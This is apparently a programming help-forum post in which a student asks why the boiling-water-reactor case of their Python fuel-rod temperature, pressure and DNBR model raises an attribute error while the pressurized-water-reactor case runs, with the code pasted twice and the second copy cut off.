    plt.plot(T_F_Center, z_arrayplots, label='Fuel Centerline Temp')
    plt.legend(loc='upper left')
    plt.xlabel("Temperature [K]")
    plt.ylabel("Height z [m]")
    plt.savefig("TempFuelAndClad.png", dpi=600)

    # radial calcs
    T_array_A = [T_F_Center[25], T_F_Outer[25], T_C_Inner[25], T_C_Outer[25]]
    T_array_B = [T_F_Center[49], T_F_Outer[49], T_C_Inner[49], T_C_Outer[49]]
    T_array_C = [T_F_Center[53], T_F_Outer[53], T_C_Inner[53], T_C_Outer[53]]
    r_array = [0, R_fuel, R_gap, R_clad]

    plt.figure(3)
    plt.plot(r_array, T_array_A, label='z = -H/4 = -0.9 m')
    plt.plot(r_array, T_array_B, label='z = 0 m')
    plt.plot(r_array, T_array_C, '--', label='z = zmax = 0.108 m')
    plt.legend(loc='upper left')
    plt.ylabel("Temperature [K]")
    plt.xlabel("Radius r [m]")
    plt.savefig("TempRadial.png", dpi=600)

    # critical heat flux and DNBR

    P_array_DNBR = np.delete(P_array, 0)
    q_heat_flux_DNBR = np.delete(q_heat_flux, 0)
    z_arrayplots_DNBR = np.delete(z_arrayplots, 0)

    G_Mlbs = MF * (((2.20462 * 10 ** (-6)) * 3600) / 10.7639)

    q_heat_flux_MBtu = q_heat_flux[1:] * 3.41 * (1 / 1000000) * (1 / 10.7639)

    P_c = 22.064  # https://nuclearstreet.com/nuclear-power-plants/w/nuclear_power_plants/features-of-pressurized-water-reactors
    P_crit = P_array_DNBR / P_c
    P1 = 0.5328
    P2 = 0.1212
    P3 = 1.6151
    P4 = 1.4066
    P5 = -0.3040
    P6 = 0.4843
    P7 = -0.3285
    P8 = -2.0749

    A = P1 * (P_crit ** P2) * (G_Mlbs ** (P5 + (P7 * P_crit)))
    C = P3 * (P_crit ** P4) * (G_Mlbs ** (P6 + (P8 * P_crit)))

    q_crit_heat_flux_MBtu = (A - xe_array[0]) / (C + ((xe_array[1:] - xe_array[0]) / q_heat_flux_MBtu))

    q_crit_heat_flux = q_crit_heat_flux_MBtu * (1 / 3.41) * 1000000 * 10.7639

    DNBR = q_crit_heat_flux / q_heat_flux_DNBR

    plt.figure(4)
    plt.plot(DNBR, z_arrayplots_DNBR)
    plt.xlabel("Departure from Nucleate Boiling Ratio")
    plt.ylabel("Height z [m]")
    plt.savefig("DNBR.png", dpi=600)

    plt.figure(5)
    plt.plot(P_array, z_arrayplots)
    plt.xlabel('Pressure [MPa]')
    plt.ylabel('Height z [m]')
    plt.savefig("Pressure.png", dpi=600)

    plt.figure(6)
    plt.plot(T_f_array, z_arrayplots)
    plt.xlabel('Temperature [K]')
    plt.ylabel('Height z [m]')
    plt.savefig("TempBulk.png", dpi=600)

    plt.figure(7)
    plt.plot(T_F_Outer, z_arrayplots, label='Fuel Outer Surface Temp')
    plt.plot(T_F_Center, z_arrayplots, label='Fuel Centerline Temp')
    plt.legend(loc='upper left')
    plt.xlabel("Temperature [K]")
    plt.ylabel("Height z [m]")
    plt.savefig("TempFuel.png", dpi=600)

    tempdifference = T_C_Outer - T_f_array
    print("Max clad vs bulk difference is " + str(np.amax(tempdifference)) + " K")
    print("Max coolant temp is " + str(np.amax(T_f_array)) + " K")
    print("Min coolant temp is " + str(np.amin(T_f_array)) + " K")
    print("Max clad inner temp is " + str(np.amax(T_C_Inner)) + " K")
    print("Max clad outer temp is " + str(np.amax(T_C_Outer)) + " K")
    print("min clad outer temp is " + str(np.amin(T_C_Outer)) + " K")
    print("Max fuel temp is " + str(np.amax(T_F_Center)) + " K")
    print("Max fuel outer temp is " + str(np.amax(T_F_Outer)) + " K")
    print("Min fuel outer temp is " + str(np.amin(T_F_Outer)) + " K")
    print("Max centerline temp occurs at z = " + str(z_CL_max) + "m")
    print("Max clad temp occurs at z = " + str(z_Clad_max) + "m")
    MDNBR = np.amin(DNBR)
    print("MDNBR is " + str(MDNBR))

    plt.show()

if case == 2:  # BWR
    H = 3.8  # m
    He = 3.8  # m
    Pitch = 1.63 * 10 ** (-2)  # m
    Gap_t = 0.0001  # m
    D_fuel = 0.0104  # m
    k_gap = 0.25  # W/m-K
    k_c = 21.5  # W/m-K
    k_fuel = 3.6  # W/m-K
    T0 = float(274 + 273.15)  # K
    q0_prime = float(410 * 10 ** (2))  # W/m
    P0 = 7.5  # MPa
    MF = float(2290)  # kg/m^2-s
    D_rod = .0123  # m
    R_rod = D_rod / 2
    R_fuel = D_fuel / 2
    R_gap = R_fuel + Gap_t
    R_clad = R_rod
    Clad_t = D_rod - D_fuel - Gap_t  # m
    h0_enthalpy = (IAPWS97(T=T0, P=P0).h) * 10 ** (3)
    T_sat0 = IAPWS97(P=P0, x=0).T
    g = 9.81  # m/s

    # geometry properties
    heated_p = math.pi * D_rod
    wetted_p = math.pi * D_rod
    A_f = (Pitch ** 2) - ((1 / 4) * math.pi * (D_rod ** 2))
    D_H = (4 * A_f) / heated_p

    # grid setup
    grid_points = 100
    dz = H / grid_points
    z_array = np.arange(0, H, dz)
    z_arrayplots = np.arange(-H / 2, H / 2, dz)
    q_HeatFluxList = []

    # defining array of q'' values in list
    for z in z_array:
        heat_fluxA = (q0_prime / (math.pi * D_rod)) * math.sin(math.pi * (z / He))
        q_HeatFluxList.append(heat_fluxA)

    q_heat_flux = np.array(q_HeatFluxList)

    q_prime = np.zeros(len(z_array))

    for i in range(0, len(z_array)):
        q_prime[i] = q0_prime * math.sin((np.pi * z_array[i]) / He)

    # defining array of h values
    h_enthalpy_list = []
    h_enthalpy_prefactor = ((heated_p * q0_prime * H) / (A_f * MF * (math.pi ** 2) * D_rod))
    for z in z_array:
        h_enthalpy = (-h_enthalpy_prefactor * math.cos(math.pi * (z / He))) + h_enthalpy_prefactor + h0_enthalpy
        h_enthalpy_list.append(h_enthalpy)

    h_enthalpy_array_J = np.array(h_enthalpy_list)
    h_enthalpy_array = h_enthalpy_array_J * 10 ** (-3)

    P_array = np.zeros(len(z_array))
    P_array[0] = P0

    T_sat = np.zeros(len(z_array))
    T_sat[0] = T_sat0

    T_f_array = np.zeros(len(z_array))
    T_f_array[0] = T0

    Re = np.zeros(len(z_array))
    Re_f = np.zeros(len(z_array))
    Pr = np.zeros(len(z_array))

    k_fluid = np.zeros(len(z_array))

    x_array = np.zeros(len(z_array))
    xe_array = np.zeros(len(z_array))
    dxe_array = np.zeros(len(z_array))

    frictional = np.zeros(len(z_array))
    gravitational = np.zeros(len(z_array))
    compressibility = np.zeros(len(z_array))

    alpha_array = np.zeros(len(z_array))

    # Pressure Loop BWR
    dp = 0.001
    for i in range(0, len(z_array) - 1):
        rho_f = IAPWS97(P=P_array[i], x=0).rho
        rho_m = IAPWS97(P=P_array[i], x=xe_array[i]).rho
        vf = IAPWS97(P=P_array[i], x=0).v
        vg = IAPWS97(P=P_array[i], x=1).v
        vfg = vg - vf
        hf_enthalpy = IAPWS97(P=P_array[i], x=0).h
        hg_enthalpy = IAPWS97(P=P_array[i], x=1).h
        hfg = hg_enthalpy - hf_enthalpy
        hfg_sat = IAPWS97(P=P0, x=1).h - IAPWS97(P=P0, x=0).h
        # vf = IAPWS97(P=P_array[i], x=0).v
        # vg_sat = IAPWS97(P=P_array[i], x=1).v
        hf_in = IAPWS97(P=P0, T=T0).h
        muf = (IAPWS97(P=P_array[i], x=0).mu) * 10 ** (-6)
        mum = (IAPWS97(P=P_array[i], x=xe_array[i]).mu) * 10 ** (-6)
        mug = (IAPWS97(P=P_array[i], x=1).mu) * 10 ** (-6)
        k_fluid[i] = IAPWS97(P=P_array[i], T=T_f_array[i]).k
        Pr[i] = IAPWS97(P=P_array[i], h=h_enthalpy_array[i]).Liquid.Prandt
        xe_in = (hf_in - hf_enthalpy) / (hfg)
        vf_sat = IAPWS97(P=P_array[i], x=xe_array[i])

    # vapor quality

    if xe_array[i] <= 0:  # single phase
        Re1p = MF * D_rod / muf
        f1p = 0.316 * Re1p ** (-.25)
        dp = -(.5 * f1p * MF * 2 * heated_p / (rho_f * A_f) + g / rho_f) * dz

        x_array[i] = 0
        dxe_array[i] = q0_prime * np.sin(np.pi * z_array[i] / H) / (MF * A_f * hfg_sat) * dz
        xe_array = xe_array[i - 1] + dxe_array[i]
        # P_array[i]=P[i-1]+dp1p

    elif xe_array[i] > 0 and xe_array[i] < 1:  # 2 phase
        Re2p = MF * D_rod / mum
        f2p = 0.046 * Re2p ** (-.2) * (muf / mum ** (-.2))
        dp2p = (-MF ** 2 * vfg * dxe_array[i] + .5 * f2p * MF ** 2 * heated_p / (rho_m * A_f) + g * rho_m) * dz
        xe_array[i] = (h_enthalpy_array[i] - hf_enthalpy) / (hg_enthalpy - hf_enthalpy)

    # Void Fraction

    if xe_array[i] <= 0:
        alpha_array[0]

    elif xe_array[i] > 0 and xe_array[i] < 1:
        x_array[i] = xe_array[i]
        vfg_sat = vg - vf
        rho_m = (vf_sat + vfg_sat * x_array) ** (-1)
        rhof = 1 / vf
        rhog = 1 / vg
        void = (rho_m - rhof) / (rhog - rhof)
        alpha_array[void]
        print("Void fraction is " + str(np.amax(alpha_array)))

    if xe_array[i] <= 0:
        alpha_array[0]
    elif xe_array[i] > 0 and xe_array[i] < 1:
        x_array[i] = xe_array[i]
        vfg_sat = vg - vf
        rho_m = (vf_sat + vfg_sat * x_array) ** (-1)
        rhof = 1 / vf
        rhog = 1 / vg
        void = (rho_m - rhof) / (rhog - rhof)
        alpha_array[void]
        print("Void fraction is " + str(np.amax(alpha_array)))

        rho_m = 1 / ((x_array[i] * vg) + ((1 - x_array[i]) * vf))
        mu_m = 1 / ((x_array[i] / mug) + ((1 - x_array[i]) / muf))

        Re[i] = (MF * D_H) / (mu_m * 10 ** 6)  # convert mu to Pa/s
        f = 0.079 * (Re[i] ** -0.25) * (mu_m / muf)
        Tau = (1 / 2) * f * ((MF ** 2) / rho_m)

        Re_f[i] = Re[i]

        vf_plus_dP = IAPWS97(P=P_array[i] + dp, x=xe_array[i]).v
        vf_minus_dP = IAPWS97(P=P_array[i] - dp, x=xe_array[i]).v

        ddP_vf = (vf_plus_dP - vf_minus_dP) / (2 * (dp * 10 ** 6))

        frictional[i] = (Tau * wetted_p) / A_f
        gravitational[i] = g * rho_f
        compressibility[i] = (MF ** 2) * (ddP_vf)

        dPdz_num = (frictional[i] + gravitational[i])  # Pa/m
        dPdz_denom = 1 + compressibility[i]  # Pa/m
        dPdz = -dPdz_num / dPdz_denom  # Pa/m

        P_array[i + 1] = P_array[i] + ((dPdz * dz) * 10 ** (-6))
        T_f_array[i + 1] = IAPWS97(P=P_array[i + 1], h=h_enthalpy_array[i + 1]).T
        T_sat[i + 1] = IAPWS97(P=P_array[i + 1], x=0).T

    # final calc for final value of quality and void fraction because loop stops before these
    hf_final = IAPWS97(P=P_array[-1], x=0).h
    hg_final = IAPWS97(P=P_array[-1], x=1).h
    muf_final = (IAPWS97(P=P_array[-1], x=0).mu) * 10 ** (-6)
    mug_final = (IAPWS97(P=P_array[-1], x=1).mu) * 10 ** (-6)
    k_fluid[-1] = IAPWS97(P=P_array[-1], T=T_f_array[-1]).k

    xe_array[-1] = (h_enthalpy_array[-1] - hf_final) / (hg_final - hf_final)

    # fuel and clad temps
    T_C_Outer = np.zeros(len(z_array))

    mu_m_final = 1 / ((x_array[-1] / mug_final) + ((1 - x_array[-1]) / muf_final))

    Re_f[-1] = (MF * D_H) / (muf_final * 10 ** 6)

    Pr[-1] = IAPWS97(P=P_array[i], h=h_enthalpy_array[i]).Liquid.Prandt

    h_HT = 0.023 * (Re_f[0] ** 0.8) * (Pr[0] ** 0.4) * (k_fluid[0] / D_H)

    T_C_Outer[0] = (q_heat_flux[0] + (h_HT * T_f_array[0])) / h_HT

    for i in range(0, len(z_array) - 1):
        h_HT = 0.023 * (Re_f[i + 1] ** 0.8) * (Pr[i + 1] ** 0.4) * (k_fluid[i + 1] / D_H)
        T_C_Outer[i + 1] = (q_heat_flux[i + 1] + (h_HT * T_f_array[i + 1])) / h_HT

    q_triple_prime = (q_prime * 4) / (np.pi * (D_fuel ** 2))

    T_C_Inner = np.zeros(len(z_array))
    T_F_Outer = np.zeros(len(z_array))
    T_F_Center = np.zeros(len(z_array))

    for i in range(0, len(z_array)):
        C1 = -((q0_prime * R_clad) / (k_c * heated_p)) * np.sin(np.pi * (z_array[i] / H))
        C2 = T_C_Outer[i] - (C1 * np.log(R_clad))

        T_C_Inner[i] = (C1 * np.log(R_gap)) + C2

        C3 = (k_c / k_gap) * C1
        C4 = T_C_Inner[i] - (C3 * np.log(R_gap))

        T_F_Outer[i] = (C3 * np.log(R_fuel)) + C4

        C6 = T_F_Outer[i] + ((q_triple_prime[i] * (R_fuel ** 2)) / (4 * k_fuel))

        T_F_Center[i] = C6

    CL_max = np.amax(T_F_Center)
    index = np.where(T_F_Center == CL_max)
    z_CL_max = z_array[index]

    plt.figure(1)
    plt.plot(T_C_Outer, z_arrayplots, label='Clad Outer Surface Temp')
    plt.plot(T_C_Inner, z_arrayplots, label='Clad Inner Surface Temp')
    plt.legend(loc='upper left')
    plt.xlabel("Temperature [K]")
    plt.ylabel("Height z [m]")
    plt.savefig("TempCladBWR.png", dpi=600)

    plt.figure(2)
    plt.plot(T_C_Outer, z_arrayplots, label='Clad Outer Surface Temp')
    plt.plot(T_C_Inner, z_arrayplots, label='Clad Inner Surface Temp')
    plt.plot(T_F_Outer, z_arrayplots, label='Fuel Outer Surface Temp')
    plt.plot(T_F_Center, z_arrayplots, label='Fuel Centerline Temp')
    plt.legend(loc='upper left')
    plt.xlabel("Temperature [K]")
    plt.ylabel("Height z [m]")
    plt.savefig("TempFuelAndCladBWR.png", dpi=600)

    # radial calcs
    T_array_A = [T_F_Center[25], T_F_Outer[25], T_C_Inner[25], T_C_Outer[25]]
    T_array_B = [T_F_Center[49], T_F_Outer[49], T_C_Inner[49], T_C_Outer[49]]
    T_array_C = [T_F_Center[53], T_F_Outer[53], T_C_Inner[53], T_C_Outer[53]]
    r_array = [0, R_fuel, R_gap, R_clad]

    plt.figure(3)
    plt.plot(r_array, T_array_A, label='z = -H/4 = -0.9 m')
    plt.plot(r_array, T_array_B, label='z = 0 m')
    plt.plot(r_array, T_array_C, '--', label='z = zmax = 0.108 m')
    plt.legend(loc='upper left')
    plt.ylabel("Temperature [K]")
    plt.xlabel("Radius r [m]")
    plt.savefig("TempRadialBWR.png", dpi=600)

    # critical heat flux and DNBR

    P_array_DNBR = np.delete(P_array, 0)
    q_heat_flux_DNBR = np.delete(q_heat_flux, 0)
    z_arrayplots_DNBR = np.delete(z_arrayplots, 0)

    G_Mlbs = MF * (((2.20462 * 10 ** (-6)) * 3600) / 10.7639)

    q_heat_flux_MBtu = q_heat_flux[1:] * 3.41 * (1 / 1000000) * (1 / 10.7639)

    P_c = 22.064  # https://nuclearstreet.com/nuclear-power-plants/w/nuclear_power_plants/features-of-pressurized-water-reactors
    P_crit = P_array_DNBR / P_c
    P1 = 0.5328
    P2 = 0.1212
    P3 = 1.6151
    P4 = 1.4066
    P5 = -0.3040
    P6 = 0.4843
    P7 = -0.3285
    P8 = -2.0749

    A = P1 * (P_crit ** P2) * (G_Mlbs ** (P5 + (P7 * P_crit)))
    C = P3 * (P_crit ** P4) * (G_Mlbs ** (P6 + (P8 * P_crit)))

    q_crit_heat_flux_MBtu = (A - xe_array[0]) / (C + ((xe_array[1:] - xe_array[0]) / q_heat_flux_MBtu))

    q_crit_heat_flux = q_crit_heat_flux_MBtu * (1 / 3.41) * 1000000 * 10.7639

    DNBR = q_crit_heat_flux / q_heat_flux_DNBR

    plt.figure(4)
    plt.plot(DNBR, z_arrayplots_DNBR)
    plt.xlabel("Onset of Nucleate Boiling Ratio")
    plt.ylabel("Height z [m]")
    plt.title("Onset of Nucleate Boiling Ratio versus Height")
    plt.savefig("ONBR.png", dpi=600)

    plt.figure(5)
    plt.plot(P_array, z_arrayplots)
    plt.xlabel('Pressure [MPa]')
    plt.ylabel('Height z [m]')
    plt.title('Pressure versus Height')
    plt.savefig("PressureBWR.png", dpi=600)

    plt.figure(6)
    plt.plot(T_f_array, z_arrayplots)
    plt.xlabel('Temperature [K]')
    plt.ylabel('Height z [m]')
    plt.title('Coolant Temperature vs Height')
    plt.savefig("TempBulkBWR.png", dpi=600)

    plt.figure(7)
    plt.plot(T_F_Outer, z_arrayplots, label='Fuel Outer Surface Temp')
    plt.plot(T_F_Center, z_arrayplots, label='Fuel Centerline Temp')
    plt.legend(loc='upper left')
    plt.xlabel("Temperature [K]")
    plt.ylabel("Height z [m]")
    plt.savefig("TempFuelBWR.png", dpi=600)

    # density
    plt.figure(8)
    plt.plot(Density, z_arrayplots, label='Density')
    plt.legend(loc='upper left')
    plt.xlabel("Pressure [mPa]")
    plt.ylabel("Height z [m]")
    plt.savefig("Density", dpi=600)

    # quality
    plt.figure(9)
    plt.plot(x, z_arrayplots, label='Quality')
    plt.plot(xe, z_arrayplots, label='Quality')
    plt.legend(loc='upper left')
    plt.xlabel("Quality")
    plt.ylabel("Height z [m]")
    plt.savefig("Quality", dpi=600)

    # void
    plt.figure(10)
    plt.plot(alpha, z_arrayplots, label='Void Fraction')
    plt.legend(loc='upper left')
    plt.xlabel("Void Fraction")
    plt.ylabel("Height z [m]")
    plt.savefig("Void Fraction", dpi=600)

    tempdifference = T_C_Outer - T_f_array
    print("Max clad vs bulk difference is " + str(np.amax(tempdifference)) + " C")
    print("Max coolant temp is " + str(np.amax(T_f_array) - 273.15) + " C")
    print("Max coolant temp is " + str(np.amax(T_f_array)) + " K")
    print("Max clad temp is " + str(np.amax(T_C_Inner) - 273.15) + " C")
    print("Max clad temp is " + str(np.amax(T_C_Inner)) + " K")
    print("Max fuel temp is " + str(np.amax(T_F_Center) - 273.15) + " C")
    print("Max fuel temp is " + str(np.amax(T_F_Center)) + " K")
    print("Max fuel temp is " + str(np.amax(T_F_Outer) - 273.15) + " C")
    print("Max fuel temp is " + str(np.amax(T_F_Outer)) + " K")
    print("Max centerline temp occurs at z = " + str(z_CL_max) + "m")
    MDNBR = np.amin(DNBR)
    print("MDNBR is " + str(MDNBR))
```

Body:
I am trying to run this loop; however, I am getting a no attribute error in the second portion of my code. Below is the entire code (sorry for the length). When I run the first case (PWR) the code executes normally as expected. However, when I run the second case (BWR) I receive the error even though it is the same exact statement from case one. Is there any fix or explanation for this? Thank you.

import numpy as np
import math
from iapws import IAPWS97
import matplotlib.pyplot as plt

case = int(input('Which case [1 (PWR) or 2 (BWR)]? '))

if case == 1:  # PWR
    H = 3.8  # m
    He = 3.8  # m
    Pitch = 1.25 * 10 ** (-2)  # m
    Gap_t = 0.00006  # m
    D_fuel = 0.0082  # m
    k_gap = 0.25  # W/m-K
    k_c = 21.5  # W/m-K
    k_fuel = 3.6  # W/m-K
    T0 = float(278 + 273.15)  # K
    q0_prime = float(330 * 10 ** (2))  # W/m
    P0 = 15  # MPa
    MF = float(3460)  # kg/m^2-s
    D_rod = .0095  # m
    R_rod = D_rod / 2
    R_fuel = D_fuel / 2
    R_gap = R_fuel + Gap_t
    R_clad = R_rod
    Clad_t = D_rod - D_fuel - Gap_t  # m
    h0_enthalpy = (IAPWS97(T=T0, P=P0).h) * 10 ** (3)
    T_sat0 = IAPWS97(P=P0, x=0).T
    g = 9.81  # m/s

    # geometry properties
    heated_p = math.pi * D_rod
    wetted_p = math.pi * D_rod
    A_f = (Pitch ** 2) - ((1 / 4) * math.pi * (D_rod ** 2))
    D_H = (4 * A_f) / heated_p

    # grid setup
    grid_points = 100
    dz = H / grid_points
    z_array = np.arange(0, H, dz)
    z_arrayplots = np.arange(0, H, dz)
    q_HeatFluxList = []

    # defining array of q'' values in list
    for z in z_array:
        heat_fluxA = (q0_prime / (math.pi * D_rod)) * math.sin(math.pi * (z / He))
        q_HeatFluxList.append(heat_fluxA)

    q_heat_flux = np.array(q_HeatFluxList)

    q_prime = np.zeros(len(z_array))

    for i in range(0, len(z_array)):
        q_prime[i] = q0_prime * math.sin((np.pi * z_array[i]) / He)

    # defining array of h values
    h_enthalpy_list = []
    h_enthalpy_prefactor = ((heated_p * q0_prime * H) / (A_f * MF * (math.pi ** 2) * D_rod))
    for z in z_array:
        h_enthalpy = (-h_enthalpy_prefactor * math.cos(math.pi * (z / He))) + h_enthalpy_prefactor + h0_enthalpy
        h_enthalpy_list.append(h_enthalpy)

    h_enthalpy_array_J = np.array(h_enthalpy_list)
    h_enthalpy_array = h_enthalpy_array_J * 10 ** (-3)

    P_array = np.zeros(len(z_array))
    P_array[0] = P0

    T_sat = np.zeros(len(z_array))
    T_sat[0] = T_sat0

    T_f_array = np.zeros(len(z_array))
    T_f_array[0] = T0

    Re = np.zeros(len(z_array))
    Re_f = np.zeros(len(z_array))
    Pr = np.zeros(len(z_array))

    k_fluid = np.zeros(len(z_array))

    x_array = np.zeros(len(z_array))
    xe_array = np.zeros(len(z_array))

    frictional = np.zeros(len(z_array))
    gravitational = np.zeros(len(z_array))
    compressibility = np.zeros(len(z_array))

    # Pressure Loop PWR
    dp = 0.001
    for i in range(0, len(z_array) - 1):
        rho_f = IAPWS97(P=P_array[i], x=0).rho
        vf = IAPWS97(P=P_array[i], x=0).v
        vg = IAPWS97(P=P_array[i], x=1).v
        hf_enthalpy = IAPWS97(P=P_array[i], x=0).h
        hg_enthalpy = IAPWS97(P=P_array[i], x=1).h
        muf = (IAPWS97(P=P_array[i], x=0).mu) * 10 ** (-6)
        mug = (IAPWS97(P=P_array[i], x=1).mu) * 10 ** (-6)
        k_fluid[i] = IAPWS97(P=P_array[i], T=T_f_array[i]).k
        Pr[i] = IAPWS97(P=P_array[i], h=h_enthalpy_array[i]).Liquid.Prandt

        x_array[i] = 0
        xe_array[i] = (h_enthalpy_array[i] - hf_enthalpy) / (hg_enthalpy - hf_enthalpy)

        rho_m = 1 / ((x_array[i] * vg) + ((1 - x_array[i]) * vf))
        mu_m = 1 / ((x_array[i] / mug) + ((1 - x_array[i]) / muf))

        Re[i] = (MF * D_H) / (mu_m * 10 ** 6)  # convert mu to Pa/s
        f = 0.079 * (Re[i] ** -0.25) * (mu_m / muf)
        Tau = (1 / 2) * f * ((MF ** 2) / rho_m)

        Re_f[i] = Re[i]

        vf_plus_dP = IAPWS97(P=P_array[i] + dp, x=0).v
        vf_minus_dP = IAPWS97(P=P_array[i] - dp, x=0).v

        ddP_vf = (vf_plus_dP - vf_minus_dP) / (2 * (dp * 10 ** 6))

        frictional[i] = (Tau * wetted_p) / A_f
        gravitational[i] = g * rho_f
        compressibility[i] = (MF ** 2) * (ddP_vf)

        dPdz_num = (frictional[i] + gravitational[i])  # Pa/m
        dPdz_denom = 1 + compressibility[i]  # Pa/m
        dPdz = -dPdz_num / dPdz_denom  # Pa/m

        P_array[i + 1] = P_array[i] + ((dPdz * dz) * 10 ** (-6))
        T_f_array[i + 1] = IAPWS97(P=P_array[i + 1], h=h_enthalpy_array[i + 1]).T
        T_sat[i + 1] = IAPWS97(P=P_array[i + 1], x=0).T

    # final calc for final value of quality and void fraction because loop stops before these
    hf_final = IAPWS97(P=P_array[-1], x=0).h
    hg_final = IAPWS97(P=P_array[-1], x=1).h
    muf_final = (IAPWS97(P=P_array[-1], x=0).mu) * 10 ** (-6)
    mug_final = (IAPWS97(P=P_array[-1], x=1).mu) * 10 ** (-6)
    k_fluid[-1] = IAPWS97(P=P_array[-1], T=T_f_array[-1]).k

    xe_array[-1] = (h_enthalpy_array[-1] - hf_final) / (hg_final - hf_final)

    # fuel and clad temps
    T_C_Outer = np.zeros(len(z_array))

    mu_m_final = 1 / ((x_array[-1] / mug_final) + ((1 - x_array[-1]) / muf_final))

    Re_f[-1] = (MF * D_H) / (muf_final * 10 ** 6)

    Pr[-1] = IAPWS97(P=P_array[i], h=h_enthalpy_array[i]).Liquid.Prandt

    h_HT = 0.023 * (Re_f[0] ** 0.8) * (Pr[0] ** 0.4) * (k_fluid[0] / D_H)

    T_C_Outer[0] = (q_heat_flux[0] + (h_HT * T_f_array[0])) / h_HT

    for i in range(0, len(z_array) - 1):
        h_HT = 0.023 * (Re_f[i + 1] ** 0.8) * (Pr[i + 1] ** 0.4) * (k_fluid[i + 1] / D_H)
        T_C_Outer[i + 1] = (q_heat_flux[i + 1] + (h_HT * T_f_array[i + 1])) / h_HT

    q_triple_prime = (q_prime * 4) / (np.pi * (D_fuel ** 2))

    T_C_Inner = np.zeros(len(z_array))
    T_F_Outer = np.zeros(len(z_array))
    T_F_Center = np.zeros(len(z_array))

    for i in range(0, len(z_array)):
        C1 = -((q0_prime * R_clad) / (k_c * heated_p)) * np.sin(np.pi * (z_array[i] / H))
        C2 = T_C_Outer[i] - (C1 * np.log(R_clad))

        T_C_Inner[i] = (C1 * np.log(R_gap)) + C2

        C3 = (k_c / k_gap) * C1
        C4 = T_C_Inner[i] - (C3 * np.log(R_gap))

        T_F_Outer[i] = (C3 * np.log(R_fuel)) + C4

        C6 = T_F_Outer[i] + ((q_triple_prime[i] * (R_fuel ** 2)) / (4 * k_fuel))

        T_F_Center[i] = C6

    CL_max = np.amax(T_F_Center)
    index = np.where(T_F_Center == CL_max)
    z_CL_max = z_array[index]
    Clad_max = np.amax(T_C_Inner)
    index = np.where(T_C_Inner == Clad_max)
    z_Clad_max = z_array[index]

    plt.figure(1)
    plt.plot(T_C_Outer, z_arrayplots, label='Clad Outer Surface Temp')
    plt.plot(T_C_Inner, z_arrayplots, label='Clad Inner Surface Temp')
    plt.legend(loc='upper left')
    plt.xlabel("Temperature [K]")
    plt.ylabel("Height z [m]")
    plt.savefig("TempClad.png", dpi=600)

    plt.figure(2)
    plt.plot(T_C_Outer, z_arrayplots, label='Clad Outer Surface Temp')
    plt.plot(T_C_Inner, z_arrayplots, label='Clad Inner Surface Temp')
    plt.plot(T_F_Outer, z_arrayplots, label='Fuel Outer Surface Temp')
    plt.plot(T_F_Center, z_arrayplots, label='Fuel Centerline Temp')
    plt.legend(loc='upper left')
    plt.xlabel("Temperature [K]")
    plt.ylabel("Height z [m]")
    plt.savefig("TempFuelAndClad.png", dpi=600)

    # radial calcs
    T_array_A = [T_F_Center[25], T_F_Outer[25], T_C_Inner[25], T_C_Outer[25]]
    T_array_B = [T_F_Center[49], T_F_Outer[49], T_C_Inner[49], T_C_Outer[49]]
    T_array_C = [T_F_Center[53], T_F_Outer[53], T_C_Inner[53], T_C_Outer[53]]
    r_array = [0, R_fuel, R_gap, R_clad]

    plt.figure(3)
    plt.plot(r_array, T_array_A, label='z = -H/4 = -0.9 m')
    plt.plot(r_array, T_array_B, label='z = 0 m')
    plt.plot(r_array, T_array_C, '--', label='z = zmax = 0.108 m')
    plt.legend(loc='upper left')
    plt.ylabel("Temperature [K]")
    plt.xlabel("Radius r [m]")
    plt.savefig("TempRadial.png", dpi=600)

    # critical heat flux and DNBR

    P_array_DNBR = np.delete(P_array, 0)
    q_heat_flux_DNBR = np.delete(q_heat_flux, 0)
    z_arrayplots_DNBR = np.delete(z_arrayplots, 0)

    G_Mlbs = MF * (((2.20462 * 10 ** (-6)) * 3600) / 10.7639)

    q_heat_flux_MBtu = q_heat_flux[1:] * 3.41 * (1 / 1000000) * (1 / 10.7639)

    P_c = 22.064  # https://nuclearstreet.com/nuclear-power-plants/w/nuclear_power_plants/features-of-pressurized-water-reactors
    P_crit = P_array_DNBR / P_c
    P1 = 0.5328
    P2 = 0.1212
    P3 = 1.6151
    P4 = 1.4066
    P5 = -0.3040
    P6 = 0.4843
    P7 = -0.3285
    P8 = -2.0749

    A = P1 * (P_crit ** P2) * (G_Mlbs ** (P5 + (P7 * P_crit)))
    C = P3 * (P_crit ** P4) * (G_Mlbs ** (P6 + (P8 * P_crit)))

    q_crit_heat_flux_MBtu = (A - xe_array[0]) / (C + ((xe_array[1:] - xe_array[0]) / q_heat_flux_MBtu))

    q_crit_heat_flux = q_crit_heat_flux_MBtu * (1 / 3.41) * 1000000 * 10.7639

    DNBR = q_crit_heat_flux / q_heat_flux_DNBR

    plt.figure(4)
    plt.plot(DNBR, z_arrayplots_DNBR)
    plt.xlabel("Departure from Nucleate Boiling Ratio")
    plt.ylabel("Height z [m]")
    plt.savefig("DNBR.png", dpi=600)

    plt.figure(5)
    plt.plot(P_array, z_arrayplots)
    plt.xlabel('Pressure [MPa]')
    plt.ylabel('Height z [m]')
    plt.savefig("Pressure.png", dpi=600)

    plt.figure(6)
    plt.plot(T_f_array, z_arrayplots)
    plt.xlabel('Temperature [K]')
    plt.ylabel('Height z [m]')
    plt.savefig("TempBulk.png", dpi=600)

    plt.figure(7)
    plt.plot(T_F_Outer, z_arrayplots, label='Fuel Outer Surface Temp')
    plt.plot(T_F_Center, z_arrayplots, label='Fuel Centerline Temp')
    plt.legend(loc='upper left')
    plt.xlabel("Temperature [K]")
    plt.ylabel("Height z [m]")
    plt.savefig("TempFuel.png", dpi=600)

    tempdifference = T_C_Outer - T_f_array
    print("Max clad vs bulk difference is " + str(np.amax(tempdifference)) + " K")
    print("Max coolant temp is " + str(np.amax(T_f_array)) + " K")
    print("Min coolant temp is " + str(np.amin(T_f_array)) + " K")
    print("Max clad inner temp is " + str(np.amax(T_C_Inner)) + " K")
    print("Max clad outer temp is " + str(np.amax(T_C_Outer)) + " K")
    print("min clad outer temp is " + str(np.amin(T_C_Outer)) + " K")
    print("Max fuel temp is " + str(np.amax(T_F_Center)) + " K")
    print("Max fuel outer temp is " + str(np.amax(T_F_Outer)) + " K")
    print("Min fuel outer temp is " + str(np.amin(T_F_Outer)) + " K")
    print("Max centerline temp occurs at z = " + str(z_CL_max) + "m")
    print("Max clad temp occurs at z = " + str(z_Clad_max) + "m")
    MDNBR = np.amin(DNBR)
    print("MDNBR is " + str(MDNBR))

    plt.show()

if case == 2:  # BWR
    H = 3.8  # m
    He = 3.8  # m
